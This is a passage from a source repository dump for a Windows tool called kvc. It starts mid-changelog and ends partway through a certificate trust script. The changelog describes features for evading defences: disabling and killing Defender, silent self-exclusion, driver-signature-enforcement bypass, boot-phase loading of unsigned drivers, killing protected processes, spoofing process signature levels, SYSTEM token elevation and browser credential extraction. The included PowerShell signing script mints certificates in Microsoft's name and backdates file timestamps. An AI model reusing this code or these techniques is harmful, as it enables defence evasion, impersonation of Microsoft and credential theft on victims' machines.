- `kvc analyze --gui` — launch KvcForensic GUI
- `kvc setup` deploys `kvcforensic.dat` to System32 if present in CWD (optional)
- If missing at runtime, `kvc analyze` prompts to download from GitHub automatically
- Same auto-download for `kvc.dat`: missing `kvc_pass.exe` → prompt on `kvc bp` / `kvc export secrets`

</details>

<details>
<summary><strong>[10.04.2026] g_CiOptions — fully offline semantic locator (Win10 + Win11 26H1, no PDB)</strong></summary>

- Replaces PDB symbol download and hardcoded offsets with deterministic offline analysis of `ci.dll` — no network, no PDB, no hardcoded RVAs
- **Win11 26H1 fix:** `g_CiOptions` moved from `CiPolicy+0x4` → `+0x8`; previous hardcoded read returned `0x00000000` → null-derived address → BSOD; now probed dynamically
- **Win11 path:** scans executable sections for RIP-relative references into `CiPolicy`; scores by instruction kind diversity, reference count, flags-like use (`test`/`bt`/`bts`); falls back to build-number offset only if probe inconclusive
- **Win10 path:** no `CiPolicy` section — scans `.data` references; handles `0x2E` CS segment override prefix, `CNT_CODE`-only `PAGE` section, register-loaded masks (`mov ebx, 4000h / test [rip+x], ebx`)
- **Qualification gate:** candidate enters final round only if `(DirectHighMasks != 0 OR BitOpsCount >= 2) AND LowBitEvidence != 0` — excludes spinlocks/counters that accumulate large raw scores
- **HVCI detection fix:** `value == 0x0001C000` → `(value & 0x0001C000) != 0`; registry fallback added for configurations where bit state isn't reflected at query time
- **kvcstrm:** one new IOCTL primitive added to the OmniDriver interface

</details>

<details>
<summary><strong>[08.04.2026] kvc_smss — SMSS boot-phase driver loader (C, NATIVE subsystem)</strong></summary>

- Fourth embedded binary — `kvc_smss.exe`; `SUBSYSTEM:NATIVE`, no CRT, pure NT syscalls; executed by SMSS before Win32, before Defender, before any user-mode security stack
- Uses `kvc.sys` from DriverStore (`avc.inf_amd64_*`) as DSE bypass primitive — no new vulnerable driver dropped to disk
- Full DSE bypass cycle per entry: load kvc.sys → resolve ntoskrnl base → patch `SeCiCallbacks+0x20` (CiValidateImageHeader → ZwFlushInstructionCache) → load target driver → restore → unload kvc.sys
- Kernel offsets resolved at install time via PDB (`kvc install <driver>`), written to `C:\Windows\drivers.ini` — zero network at boot
- INI-driven (`drivers.ini`, UTF-16 LE with BOM): `LOAD`, `UNLOAD`, `RENAME`, `DELETE` actions processed in file order
- `RENAME`/`DELETE` operate at NT I/O manager level via `NtSetInformationFile` — before any filesystem filter drivers, no Win32
- HVCI handling: if active, patches SYSTEM hive offline using chunked NK/VK walker (`FILE_OPEN_FOR_BACKUP_INTENT`, 1 MB chunks + 256-byte overlap), schedules reboot via `RebootGuardian`

</details>

<details>
<summary><strong>[06.04.2026] kvcstrm.sys (OmniDriver) — purpose-built kernel primitive driver</strong></summary>

- New kernel driver embedded in the steganographic icon alongside `kvc.sys`; written from scratch as KMDF, not a repurposed CVE payload
- IOCTL interface: cross-process virtual R/W (`MmCopyVirtualMemory`, KernelMode previous-mode), batch R/W (64 ops/round-trip), PP/PPL process termination (`ZwTerminateProcess` kernel handle), `EPROCESS.PS_PROTECTION` direct write, physical memory R/W (`MmMapIoSpaceEx`), kernel pool alloc/free (tracked + spinlock-guarded), CR0.WP-clear write to read-only memory, token elevation to SYSTEM, handle table close
- **`kvc secengine disable`** — no restart: kills Defender processes via ring-0 `ZwTerminateProcess` immediately after setting IFEO block
- **`kvc kill`** — automatic PP/PPL fallback to kvcstrm when standard path returns access denied
- Auto-lifecycle: `EnsureStrmOpen` loads on demand from DriverStore, `CleanupStrm` removes service entry after use — SCM registry stays clean

</details>

<details>
<summary><strong>[04.04.2026] Process Signature Spoofing</strong></summary>

- Spoofs `SignatureLevel` + `SectionSignatureLevel` fields in `EPROCESS`
- `kvc protect` / `kvc set` auto-calculates and applies optimal signature levels (e.g. `0x37`/`0x07` for PPL-Antimalware — indistinguishable from `MsMpEng.exe` under kernel inspection)
- `kvc spoof <PID|name> <ExeSigHex> <DllSigHex>` — manual surgical control; can mimic Kernel/System signatures (`0x1E`/`0x1C`)

</details>

<details>
<summary><strong>[03.04.2026] Security Engine: IFEO block replaces RpcSs dependency hijack</strong></summary>

- `secengine disable` uses IFEO `Debugger=systray.exe` on `MsMpEng.exe` — loader intercept before any Defender code runs
- DACL bypass via offline hive cycle: `RegSaveKeyEx` → `RegLoadKey` → write → `RegUnLoadKey` → `RegRestoreKey(REG_FORCE_RESTORE)`
- `secengine status` reports three independent dimensions: IFEO Debugger presence, WinDefend service state (`RUNNING`/`STOPPED`), MsMpEng process presence
- Restart-free as of [06.04.2026] via kvcstrm ring-0 kill

</details>

<details>
<summary><strong>[03.2026] Browser extraction, kvc.dat, UnderVolter, DSE bypass, driver management + more</strong></summary>

- **Browser extraction without closing** — kills only network-service subprocess; Edge gets a second kill timed before Cookies DB open (~1–2 s vs ~3–5 s for Chrome)
- **COM Elevation for Edge** — `IEdgeElevatorFinal` (`{1FCBE96C-1697-43AF-9140-2897C7C69767}`) for all data types; DPAPI as fallback only; split-key strategy removed
- **kvc.dat** — single encrypted package for `kvc_pass.exe` + `kvc_crypt.dll`; auto-deployed by `kvc setup`
- **Legacy CPU / Static CRT** — no AVX/YMM instructions; `/MT` — no `vcruntime140.dll` dependency
- **UnderVolter** — EFI undervolting; patches CFG Lock + OC Lock in `Setup` NVRAM variable (IFR offset); Intel 2nd–15th gen (Sandy Bridge → Arrow Lake); ESP located by GPT GUID, no `mountvol`; `kvc undervolter deploy/remove/status`
- **Next-Gen DSE bypass** — `SeCiCallbacks`/`ZwFlushInstructionCache` redirection; PatchGuard-safe; Secure Boot compatible (HVCI off)
- **`kvc driver load/reload/stop/remove`** — unsigned driver management with auto-DSE bypass/restore; `-s 0–4` start type
- **`kvc modules <proc>`** — loaded modules in any process incl. PPL-protected; `read <module> [offset] [size]` for raw bytes (default 256 B, max 4096 B)
- **Defender exclusions via WMI** — `MSFT_MpPreference` COM direct; no PowerShell; idempotent per-value check before every write
- **Auto self-exclusion** — silent process + path exclusion on every invocation (including `kvc help`)
- **`kvc rtp` / `kvc tp`** — Real-Time Protection and Tamper Protection toggle via `IUIAutomation` ghost mode (no PowerShell, no WMI — literal UI automation)
- **`kvc list --gui`** — graphical process list
- **Full hive coverage** — backup/restore/defrag on all 8 hives: `SYSTEM`, `SOFTWARE`, `SAM`, `SECURITY`, `DEFAULT`, `BCD`, `NTUSER.DAT`, `UsrClass.dat`
- **Tetris** — `kvc tetris`; x64 assembly; Win32 GUI; PPL-WinTcb; high scores in registry

</details>

---

## 📋 AUTOMATIC SETUP PROCESS (`kvc setup`)

1. Moves `kvc.exe` to `C:\Windows\System32`
2. Adds Windows Defender exclusions automatically
3. Extracts kernel driver from steganographic icon resource
4. Deploys PassExtractor if `kvc.dat` is present:
   - Decrypts and splits `kvc.dat` → `kvc_pass.exe` + `kvc_crypt.dll`
   - Writes both to `C:\Windows\System32`
5. Deploys Forensic module if `kvcforensic.dat` is present in CWD (optional):
   - Writes `kvcforensic.dat` to `C:\Windows\System32`
   - Enables `kvc analyze` commands
6. Full browser extraction (Chrome, Edge, Brave) available immediately

---

## 📞 CONTACT & SUPPORT

- **Email**: marek@wesolowski.eu.org
- **Website**: https://kvc.pl
- **GitHub**: https://github.com/wesmar/kvc

---

*Release Date: 27.05.2026*
*© WESMAR 2026*

<<<FILE: Signer/cert/signing.config.json>>>
Created:  2026-04-04 23:32:31
Modified: 2026-05-28 17:35:34
Size:     0.15 KB
{
  "Profiles": {
    "Standard": {
      "Name": "Microsoft Windows"
    },
    "Driver": {
      "Name": "Microsoft Windows OS"
    }
  }
}

<<<FILE: Signer/sign.cmd>>>
Created:  2026-04-05 00:36:20
Modified: 2026-04-05 00:36:20
Size:     0.33 KB
@echo off
setlocal

set "ROOT=%~dp0"
set "SCRIPT=%ROOT%sign.ps1"

if not exist "%SCRIPT%" (
    echo Sign script not found: "%SCRIPT%"
    exit /b 1
)

where pwsh >nul 2>&1
if errorlevel 1 (
    set "PSHOST=powershell"
) else (
    set "PSHOST=pwsh"
)

"%PSHOST%" -NoProfile -ExecutionPolicy Bypass -File "%SCRIPT%" %*
exit /b %ERRORLEVEL%

<<<FILE: Signer/sign.ps1>>>
Created:  2026-04-04 23:32:31
Modified: 2026-04-05 01:39:15
Size:     19.03 KB
[CmdletBinding()]
param(
    [switch]$Create,
    [ValidateSet("Auto", "Standard", "Driver")]
    [string]$Profile = "Auto",
    [string]$Name,
    [string]$TargetPath,
    [string]$Timestamp = "2030-01-01 00:00:00",
    [switch]$Force
)

Set-StrictMode -Version 3.0
$ErrorActionPreference = "Stop"

$UtilityRoot = $PSScriptRoot
$RepoRoot = Split-Path -Parent $UtilityRoot
$CertDir = Join-Path $UtilityRoot "cert"
$BinDir = Join-Path $RepoRoot "bin"
$ConfigPath = Join-Path $CertDir "signing.config.json"
$DefaultTargetFiles = @(
    (Join-Path $BinDir "kvc.exe"),
    (Join-Path $BinDir "kvcstrm.sys")
)

function Write-Info([string]$Message) {
    Write-Host $Message -ForegroundColor Cyan
}

function Write-Step([string]$Message) {
    Write-Host $Message -ForegroundColor DarkGray
}

function Write-Success([string]$Message) {
    Write-Host $Message -ForegroundColor Green
}

function Write-WarningLine([string]$Message) {
    Write-Host $Message -ForegroundColor Yellow
}

function Write-Failure([string]$Message) {
    Write-Host $Message -ForegroundColor Red
}

function Get-Slug([string]$Value) {
    $slug = ($Value -replace '[^A-Za-z0-9]+', '_').Trim('_')
    if ([string]::IsNullOrWhiteSpace($slug)) {
        throw "The certificate name produced an empty file prefix."
    }

    return $slug
}

function New-PasswordString([int]$Length = 40) {
    $alphabet = "ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz23456789!@#$%^*_-+="
    $builder = New-Object System.Text.StringBuilder
    for ($i = 0; $i -lt $Length; $i++) {
        [void]$builder.Append($alphabet[(Get-Random -Minimum 0 -Maximum $alphabet.Length)])
    }

    return $builder.ToString()
}

function ConvertTo-PlainText([securestring]$SecureValue) {
    $bstr = [Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecureValue)
    try {
        return [Runtime.InteropServices.Marshal]::PtrToStringBSTR($bstr)
    }
    finally {
        [Runtime.InteropServices.Marshal]::ZeroFreeBSTR($bstr)
    }
}

function Parse-FixedTimestamp([string]$Value) {
    $styles = [System.Globalization.DateTimeStyles]::AllowWhiteSpaces -bor
              [System.Globalization.DateTimeStyles]::AssumeLocal

    try {
        return [datetime]::Parse(
            $Value,
            [System.Globalization.CultureInfo]::InvariantCulture,
            $styles
        )
    }
    catch {
        throw "Invalid -Timestamp '$Value'. Example: 2030-01-01 00:00:00"
    }
}

function Set-FixedFileTimestamp {
    param(
        [Parameter(Mandatory = $true)]
        [string[]]$Paths,

        [Parameter(Mandatory = $true)]
        [datetime]$Value
    )

    foreach ($path in $Paths) {
        if (-not (Test-Path -LiteralPath $path)) {
            continue
        }

        $item = Get-Item -LiteralPath $path
        $item.CreationTime = $Value
        $item.LastWriteTime = $Value
        $item.LastAccessTime = $Value
    }
}

function Get-LatestSignToolPath {
    $kitsRoot = Join-Path ${env:ProgramFiles(x86)} "Windows Kits\10\bin"
    if (-not (Test-Path -LiteralPath $kitsRoot)) {
        throw "Windows Kits 10 bin directory was not found."
    }

    $versionedTool = $null
    $versionDirs = Get-ChildItem -LiteralPath $kitsRoot -Directory -ErrorAction SilentlyContinue |
        Where-Object { $_.Name -match '^\d+\.\d+\.\d+\.\d+$' } |
        Sort-Object { [version]$_.Name } -Descending

    foreach ($dir in $versionDirs) {
        $candidate = Join-Path $dir.FullName "x64\signtool.exe"
        if (Test-Path -LiteralPath $candidate) {
            $versionedTool = $candidate
            break
        }
    }

    if ($versionedTool) {
        return $versionedTool
    }

    $fallback = Get-ChildItem -LiteralPath $kitsRoot -Recurse -Filter "signtool.exe" -ErrorAction SilentlyContinue |
        Sort-Object FullName -Descending |
        Select-Object -ExpandProperty FullName -First 1

    if ($fallback) {
        return $fallback
    }

    throw "signtool.exe was not found in the installed Windows Kits."
}

function New-DefaultConfig {
    return [ordered]@{
        Profiles = [ordered]@{
            Standard = [ordered]@{
                Name = "Microsoft Windows"
            }
            Driver = [ordered]@{
                Name = "Microsoft Windows OS"
            }
        }
    }
}

function Save-Config([hashtable]$Config) {
    $Config | ConvertTo-Json -Depth 5 | Set-Content -LiteralPath $ConfigPath -Encoding ASCII
}

function Load-JsonFile([string]$Path) {
    if (-not (Test-Path -LiteralPath $Path)) {
        return $null
    }

    return Get-Content -LiteralPath $Path -Raw | ConvertFrom-Json
}

function Convert-ConfigToHashtable([object]$ConfigObject) {
    $config = New-DefaultConfig
    if (-not $ConfigObject) {
        return $config
    }

    if ($ConfigObject.PSObject.Properties.Name -contains "Profiles") {
        foreach ($profileName in @("Standard", "Driver")) {
            $profileConfig = $ConfigObject.Profiles.$profileName
            if ($profileConfig -and -not [string]::IsNullOrWhiteSpace($profileConfig.Name)) {
                $config.Profiles[$profileName].Name = $profileConfig.Name
            }
        }

        return $config
    }

    if ($ConfigObject.PSObject.Properties.Name -contains "Name" -and -not [string]::IsNullOrWhiteSpace($ConfigObject.Name)) {
        $config.Profiles.Standard.Name = $ConfigObject.Name
    }

    return $config
}

function Load-Config {
    $configObject = Load-JsonFile -Path $ConfigPath
    $config = Convert-ConfigToHashtable -ConfigObject $configObject
    Save-Config -Config $config
    return $config
}

function Get-ConfiguredName([hashtable]$Config, [string]$ResolvedProfile, [string]$ExplicitName) {
    if (-not [string]::IsNullOrWhiteSpace($ExplicitName)) {
        return $ExplicitName
    }

    return $Config.Profiles[$ResolvedProfile].Name
}

function Set-ConfiguredName([hashtable]$Config, [string]$ResolvedProfile, [string]$Value) {
    if ([string]::IsNullOrWhiteSpace($Value)) {
        return
    }

    if ($Config.Profiles[$ResolvedProfile].Name -ne $Value) {
        $Config.Profiles[$ResolvedProfile].Name = $Value
        Save-Config -Config $Config
    }
}

function Get-ResolvedProfile([string]$RequestedProfile, [string]$FilePath) {
    if ($RequestedProfile -ne "Auto") {
        return $RequestedProfile
    }

    $extension = [System.IO.Path]::GetExtension($FilePath).ToLowerInvariant()
    if ($extension -eq ".sys") {
        return "Driver"
    }

    return "Standard"
}

function Resolve-TargetPath([string]$Path) {
    if ([string]::IsNullOrWhiteSpace($Path)) {
        throw "Target path must not be empty."
    }

    if ([System.IO.Path]::IsPathRooted($Path)) {
        return [System.IO.Path]::GetFullPath($Path)
    }

    $candidateInBin = Join-Path $BinDir $Path
    if (Test-Path -LiteralPath $candidateInBin) {
        return [System.IO.Path]::GetFullPath($candidateInBin)
    }

    return [System.IO.Path]::GetFullPath((Join-Path $UtilityRoot $Path))
}

function Get-TargetFiles([string]$RequestedTargetPath) {
    if (-not [string]::IsNullOrWhiteSpace($RequestedTargetPath)) {
        $resolvedPath = Resolve-TargetPath -Path $RequestedTargetPath
        if (-not (Test-Path -LiteralPath $resolvedPath)) {
            Write-Step "Nothing to do. Target file was not found: $resolvedPath"
            return @()
        }

        if ((Get-Item -LiteralPath $resolvedPath).PSIsContainer) {
            throw "Target path must point to a file, not a directory: $resolvedPath"
        }

        return @($resolvedPath)
    }

    if (-not (Test-Path -LiteralPath $BinDir)) {
        Write-Step "Nothing to do. The bin directory does not exist: $BinDir"
        return @()
    }

    $missingTargets = @($DefaultTargetFiles | Where-Object { -not (Test-Path -LiteralPath $_) })
    if ($missingTargets.Count -gt 0) {
        Write-Step "Nothing to do. Expected target files were not found."
        foreach ($path in $missingTargets) {
            Write-Step "Missing: $path"
        }
        return @()
    }

    return @($DefaultTargetFiles)
}

function Get-PathsForProfile([string]$BaseName, [string]$ResolvedProfile) {
    $slug = Get-Slug $BaseName
    $profileTag = $ResolvedProfile.ToLowerInvariant()
    $prefix = "$slug-$profileTag"

    if ($ResolvedProfile -eq "Driver") {
        $rootSubject = "CN=$BaseName Production Root CA"
        $signerSubject = "CN=$BaseName Embedded Driver Signing"
        $rootFriendlyName = "$BaseName Production Root CA"
        $signerFriendlyName = "$BaseName Embedded Driver Signing"
    }
    else {
        $rootSubject = "CN=$BaseName, O=Microsoft Corporation, L=Redmond, S=Washington, C=US"
        $signerSubject = $rootSubject
        $rootFriendlyName = $BaseName
        $signerFriendlyName = $BaseName
    }

    return [ordered]@{
        Name = $BaseName
        Profile = $ResolvedProfile
        Slug = $slug
        RootSubject = $rootSubject
        SignerSubject = $signerSubject
        RootFriendlyName = $rootFriendlyName
        SignerFriendlyName = $signerFriendlyName
        RootCerPath = Join-Path $CertDir "$prefix-root.cer"
        SignerCerPath = Join-Path $CertDir "$prefix-signing.cer"
        PfxPath = Join-Path $CertDir "$prefix-signing.pfx"
        PasswordPath = Join-Path $CertDir "$prefix-signing.pwd"
        LegacyPasswordPath = Join-Path $CertDir "$prefix-signing.password.txt"
        LegacyRootCerPath = Join-Path $CertDir "$slug-root.cer"
        LegacySignerCerPath = Join-Path $CertDir "$slug-signing.cer"
        LegacyPfxPath = Join-Path $CertDir "$slug-signing.pfx"
        LegacyPwdPath = Join-Path $CertDir "$slug-signing.pwd"
        LegacyPasswordTxtPath = Join-Path $CertDir "$slug-signing.password.txt"
    }
}

function Assert-RequiredFiles([hashtable]$Paths) {
    foreach ($path in @($Paths.RootCerPath, $Paths.SignerCerPath, $Paths.PfxPath, $Paths.PasswordPath)) {
        if (-not (Test-Path -LiteralPath $path)) {
            throw "Required certificate asset is missing: $path"
        }
    }
}

function Remove-CertificateByThumbprint([string]$Thumbprint) {
    if ([string]::IsNullOrWhiteSpace($Thumbprint)) {
        return
    }

    $stores = @(
        "Cert:\CurrentUser\My\$Thumbprint",
        "Cert:\CurrentUser\Root\$Thumbprint"
    )

    foreach ($path in $stores) {
        if (Test-Path -LiteralPath $path) {
            Remove-Item -LiteralPath $path -DeleteKey -Force -ErrorAction SilentlyContinue
        }
    }
}

function Normalize-CertificateSet([hashtable]$Paths) {
    $moves = @(
        @{ From = $Paths.LegacyRootCerPath; To = $Paths.RootCerPath },
        @{ From = $Paths.LegacySignerCerPath; To = $Paths.SignerCerPath },
        @{ From = $Paths.LegacyPfxPath; To = $Paths.PfxPath },
        @{ From = $Paths.LegacyPwdPath; To = $Paths.PasswordPath },
        @{ From = $Paths.LegacyPasswordTxtPath; To = $Paths.LegacyPasswordPath }
    )

    foreach ($move in $moves) {
        if (($move.From -ne $move.To) -and (-not (Test-Path -LiteralPath $move.To)) -and (Test-Path -LiteralPath $move.From)) {
            Move-Item -LiteralPath $move.From -Destination $move.To -Force
            Set-FixedFileTimestamp -Paths @($move.To) -Value $script:FixedTimestamp
        }
    }

    if ((-not (Test-Path -LiteralPath $Paths.PasswordPath)) -and (Test-Path -LiteralPath $Paths.LegacyPasswordPath)) {
        Move-Item -LiteralPath $Paths.LegacyPasswordPath -Destination $Paths.PasswordPath -Force
        Set-FixedFileTimestamp -Paths @($Paths.PasswordPath) -Value $script:FixedTimestamp
    }
}

function New-CertificateSet([hashtable]$Paths) {
    if (-not (Test-Path -LiteralPath $CertDir)) {
        New-Item -ItemType Directory -Path $CertDir | Out-Null
    }

    $managedFiles = @(
        $Paths.RootCerPath,
        $Paths.SignerCerPath,
        $Paths.PfxPath,
        $Paths.PasswordPath,
        $Paths.LegacyPasswordPath
    )
    $requiredFiles = @(
        $Paths.RootCerPath,
        $Paths.SignerCerPath,
        $Paths.PfxPath,
        $Paths.PasswordPath
    )
    $existingManagedFiles = @($managedFiles | Where-Object { Test-Path -LiteralPath $_ })
    $completeSetExists = (@($requiredFiles | Where-Object { Test-Path -LiteralPath $_ }).Count -eq $requiredFiles.Count)

    if ((-not $Force) -and $completeSetExists) {
        throw "Certificate set already exists. Use -Force to recreate it for $($Paths.Profile): $($Paths.Name)"
    }

    if ($Force) {
        foreach ($path in $existingManagedFiles) {
            Remove-Item -LiteralPath $path -Force
        }
    }

    if ((-not $Force) -and $existingManagedFiles) {
        Write-WarningLine "Removing partial certificate assets before recreating the set for $($Paths.Profile): $($Paths.Name)"
        foreach ($path in $existingManagedFiles) {
            Remove-Item -LiteralPath $path -Force
        }
    }

    $passwordPlain = New-PasswordString
    $securePassword = ConvertTo-SecureString -String $passwordPlain -AsPlainText -Force
    $rootCert = $null
    $signingCert = $null

    try {
        Write-Info "Creating $($Paths.Profile.ToLowerInvariant()) root certificate."
        $rootCert = New-SelfSignedCertificate `
            -Type Custom `
            -Subject $Paths.RootSubject `
            -FriendlyName $Paths.RootFriendlyName `
            -KeyAlgorithm RSA `
            -KeyLength 4096 `
            -HashAlgorithm sha256 `
            -KeyExportPolicy Exportable `
            -KeyUsage CertSign, CRLSign, DigitalSignature `
            -KeyUsageProperty Sign `
            -CertStoreLocation "Cert:\CurrentUser\My" `
            -NotAfter (Get-Date).AddYears(10) `
            -TextExtension @(
                "2.5.29.19={critical}{text}CA=true&pathlength=1"
            )

        Write-Info "Creating $($Paths.Profile.ToLowerInvariant()) signing certificate."
        $signingCert = New-SelfSignedCertificate `
            -Type Custom `
            -Subject $Paths.SignerSubject `
            -FriendlyName $Paths.SignerFriendlyName `
            -KeyAlgorithm RSA `
            -KeyLength 4096 `
            -HashAlgorithm sha256 `
            -KeyExportPolicy Exportable `
            -KeySpec Signature `
            -KeyUsage DigitalSignature `
            -CertStoreLocation "Cert:\CurrentUser\My" `
            -Signer $rootCert `
            -NotAfter (Get-Date).AddYears(5) `
            -TextExtension @(
                "2.5.29.19={critical}{text}CA=false",
                "2.5.29.37={text}1.3.6.1.4.1.311.10.3.6,1.3.6.1.5.5.7.3.3"
            )

        Export-Certificate -Cert $rootCert -FilePath $Paths.RootCerPath -Type CERT | Out-Null
        Export-Certificate -Cert $signingCert -FilePath $Paths.SignerCerPath -Type CERT | Out-Null
        Export-PfxCertificate -Cert $signingCert -FilePath $Paths.PfxPath -Password $securePassword -ChainOption BuildChain | Out-Null

        $securePassword | ConvertFrom-SecureString | Set-Content -LiteralPath $Paths.PasswordPath -Encoding ASCII

        Set-FixedFileTimestamp -Paths $managedFiles -Value $script:FixedTimestamp
        Write-Success "Certificate set created for $($Paths.Profile): $($Paths.Name)"
    }
    finally {
        if ($signingCert) {
            Remove-CertificateByThumbprint -Thumbprint $signingCert.Thumbprint
        }

        if ($rootCert) {
            Remove-CertificateByThumbprint -Thumbprint $rootCert.Thumbprint
        }

        $passwordPlain = $null
        $securePassword = $null
    }
}

function Get-OrCreatePaths([hashtable]$Config, [string]$ResolvedProfile, [string]$ExplicitName) {
    $effectiveName = Get-ConfiguredName -Config $Config -ResolvedProfile $ResolvedProfile -ExplicitName $ExplicitName
    Set-ConfiguredName -Config $Config -ResolvedProfile $ResolvedProfile -Value $effectiveName

    $paths = Get-PathsForProfile -BaseName $effectiveName -ResolvedProfile $ResolvedProfile
    Normalize-CertificateSet -Paths $paths

    if (-not ((Test-Path -LiteralPath $paths.PfxPath) -and (Test-Path -LiteralPath $paths.PasswordPath) -and (Test-Path -LiteralPath $paths.SignerCerPath) -and (Test-Path -LiteralPath $paths.RootCerPath))) {
        Write-Info "Certificate set was not found for $ResolvedProfile. Creating a new one first."
        New-CertificateSet -Paths $paths
    }

    return $paths
}

function Sign-TargetFile([hashtable]$Paths, [string]$InputPath, [string]$SignToolPath) {
    $securePassword = Get-Content -LiteralPath $Paths.PasswordPath | ConvertTo-SecureString
    $plainPassword = ConvertTo-PlainText -SecureValue $securePassword

    try {
        Write-Info "Signing $([System.IO.Path]::GetFileName($InputPath)) with profile $($Paths.Profile)."
        & $SignToolPath sign /fd sha256 /f $Paths.PfxPath /p $plainPassword /ph $InputPath
        if ($LASTEXITCODE -ne 0) {
            throw "signtool.exe failed with exit code $LASTEXITCODE."
        }
    }
    finally {
        $plainPassword = $null
        $securePassword = $null
    }

    $signature = Get-AuthenticodeSignature -FilePath $InputPath
    if (-not $signature.SignerCertificate) {
        throw "The target file does not contain an embedded signature: $InputPath"
    }

    if ($signature.SignerCertificate.Subject -ne $Paths.SignerSubject) {
        throw "The embedded signature subject does not match the selected signing certificate: $InputPath"
    }

    if ($signature.Status -ne [System.Management.Automation.SignatureStatus]::Valid) {
        Write-WarningLine "Embedded signature exists, but trust status is $($signature.Status) for $InputPath."
        Write-WarningLine "That is expected until the root certificate is trusted on the target machine."
    }

    Set-FixedFileTimestamp -Paths @($InputPath) -Value $script:FixedTimestamp
    Write-Success "Signed file updated: $InputPath"
}

try {
    $script:FixedTimestamp = Parse-FixedTimestamp -Value $Timestamp

    if (-not (Test-Path -LiteralPath $CertDir)) {
        New-Item -ItemType Directory -Path $CertDir | Out-Null
    }

    $config = Load-Config

    if ($Create) {
        $profilesToCreate = if ($Profile -eq "Auto") { @("Standard", "Driver") } else { @($Profile) }
        if (($profilesToCreate.Count -gt 1) -and (-not [string]::IsNullOrWhiteSpace($Name))) {
            throw "Use -Profile Standard or -Profile Driver together with -Name when creating certificates."
        }

        foreach ($resolvedProfile in $profilesToCreate) {
            $effectiveName = Get-ConfiguredName -Config $config -ResolvedProfile $resolvedProfile -ExplicitName $Name
            Set-ConfiguredName -Config $config -ResolvedProfile $resolvedProfile -Value $effectiveName
            $paths = Get-PathsForProfile -BaseName $effectiveName -ResolvedProfile $resolvedProfile
            Normalize-CertificateSet -Paths $paths
            New-CertificateSet -Paths $paths
        }

        exit 0
    }

    $targets = @(Get-TargetFiles -RequestedTargetPath $TargetPath)
    if ($targets.Count -eq 0) {
        exit 0
    }

    $signTool = Get-LatestSignToolPath
    Write-Step "Using SignTool at $signTool"

    foreach ($target in $targets) {
        $resolvedProfile = Get-ResolvedProfile -RequestedProfile $Profile -FilePath $target
        $paths = Get-OrCreatePaths -Config $config -ResolvedProfile $resolvedProfile -ExplicitName $Name
        Assert-RequiredFiles -Paths $paths
        Sign-TargetFile -Paths $paths -InputPath $target -SignToolPath $signTool
    }
}
catch {
    Write-Failure $_.Exception.Message
    exit 1
}

<<<FILE: Signer/trust.cmd>>>
Created:  2026-04-05 00:36:20
Modified: 2026-04-05 00:36:20
Size:     0.33 KB
@echo off
setlocal

set "ROOT=%~dp0"
set "SCRIPT=%ROOT%trust.ps1"

if not exist "%SCRIPT%" (
    echo Trust script not found: "%SCRIPT%"
    exit /b 1
)

where pwsh >nul 2>&1
if errorlevel 1 (
    set "PSHOST=powershell"
) else (
    set "PSHOST=pwsh"
)

"%PSHOST%" -NoProfile -ExecutionPolicy Bypass -File "%SCRIPT%" %*
exit /b %ERRORLEVEL%

<<<FILE: Signer/trust.ps1>>>
Created:  2026-04-04 23:32:31
Modified: 2026-04-05 01:39:15
Size:     9.21 KB
[CmdletBinding()]
param(
    [ValidateSet("All", "Standard", "Driver")]
    [string]$Profile = "All",
    [string]$Name,
    [switch]$CurrentUser,
    [switch]$Remove
)

Set-StrictMode -Version 3.0
$ErrorActionPreference = "Stop"

$UtilityRoot = $PSScriptRoot
$RepoRoot = Split-Path -Parent $UtilityRoot
$CertDir = Join-Path $UtilityRoot "cert"
$BinDir = Join-Path $RepoRoot "bin"
$ConfigPath = Join-Path $CertDir "signing.config.json"

function Write-Info([string]$Message) {
    Write-Host $Message -ForegroundColor Cyan
}

function Write-Step([string]$Message) {
    Write-Host $Message -ForegroundColor DarkGray
}

function Write-Success([string]$Message) {
    Write-Host $Message -ForegroundColor Green
}

function Write-WarningLine([string]$Message) {
    Write-Host $Message -ForegroundColor Yellow
}

function Write-Failure([string]$Message) {
    Write-Host $Message -ForegroundColor Red
}

function Test-IsAdministrator {
    $identity = [Security.Principal.WindowsIdentity]::GetCurrent()
    $principal = New-Object Security.Principal.WindowsPrincipal($identity)
    return $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
}

function New-DefaultConfig {
    return [ordered]@{
        Profiles = [ordered]@{
            Standard = [ordered]@{
                Name = "Microsoft Windows"
            }
            Driver = [ordered]@{
                Name = "Microsoft Windows OS"
            }
        }
    }
}

function Save-Config([hashtable]$Config) {
    $Config | ConvertTo-Json -Depth 5 | Set-Content -LiteralPath $ConfigPath -Encoding ASCII
}

function Load-JsonFile([string]$Path) {
    if (-not (Test-Path -LiteralPath $Path)) {
        return $null
    }

    return Get-Content -LiteralPath $Path -Raw | ConvertFrom-Json
}

function Convert-ConfigToHashtable([object]$ConfigObject) {
    $config = New-DefaultConfig
    if (-not $ConfigObject) {
        return $config
    }

    if ($ConfigObject.PSObject.Properties.Name -contains "Profiles") {
        foreach ($profileName in @("Standard", "Driver")) {
            $profileConfig = $ConfigObject.Profiles.$profileName
            if ($profileConfig -and -not [string]::IsNullOrWhiteSpace($profileConfig.Name)) {
                $config.Profiles[$profileName].Name = $profileConfig.Name
            }
        }

        return $config
    }

    if ($ConfigObject.PSObject.Properties.Name -contains "Name" -and -not [string]::IsNullOrWhiteSpace($ConfigObject.Name)) {
        $config.Profiles.Standard.Name = $ConfigObject.Name
    }

    return $config
}

function Load-Config {
    $configObject = Load-JsonFile -Path $ConfigPath
    $config = Convert-ConfigToHashtable -ConfigObject $configObject
    Save-Config -Config $config
    return $config
}

function Get-Slug([string]$Value) {
    $slug = ($Value -replace '[^A-Za-z0-9]+', '_').Trim('_')
    if ([string]::IsNullOrWhiteSpace($slug)) {
        throw "The certificate name produced an empty file prefix."
    }

    return $slug
}

function Get-ConfiguredName([hashtable]$Config, [string]$ResolvedProfile, [string]$ExplicitName) {
    if (-not [string]::IsNullOrWhiteSpace($ExplicitName)) {
        return $ExplicitName
    }

    return $Config.Profiles[$ResolvedProfile].Name
}

function Get-PathsForProfile([string]$BaseName, [string]$ResolvedProfile) {
    $slug = Get-Slug $BaseName
    $profileTag = $ResolvedProfile.ToLowerInvariant()
    $prefix = "$slug-$profileTag"

    return [ordered]@{
        Name = $BaseName
        Profile = $ResolvedProfile
        RootCerPath = Join-Path $CertDir "$prefix-root.cer"
        SignerCerPath = Join-Path $CertDir "$prefix-signing.cer"
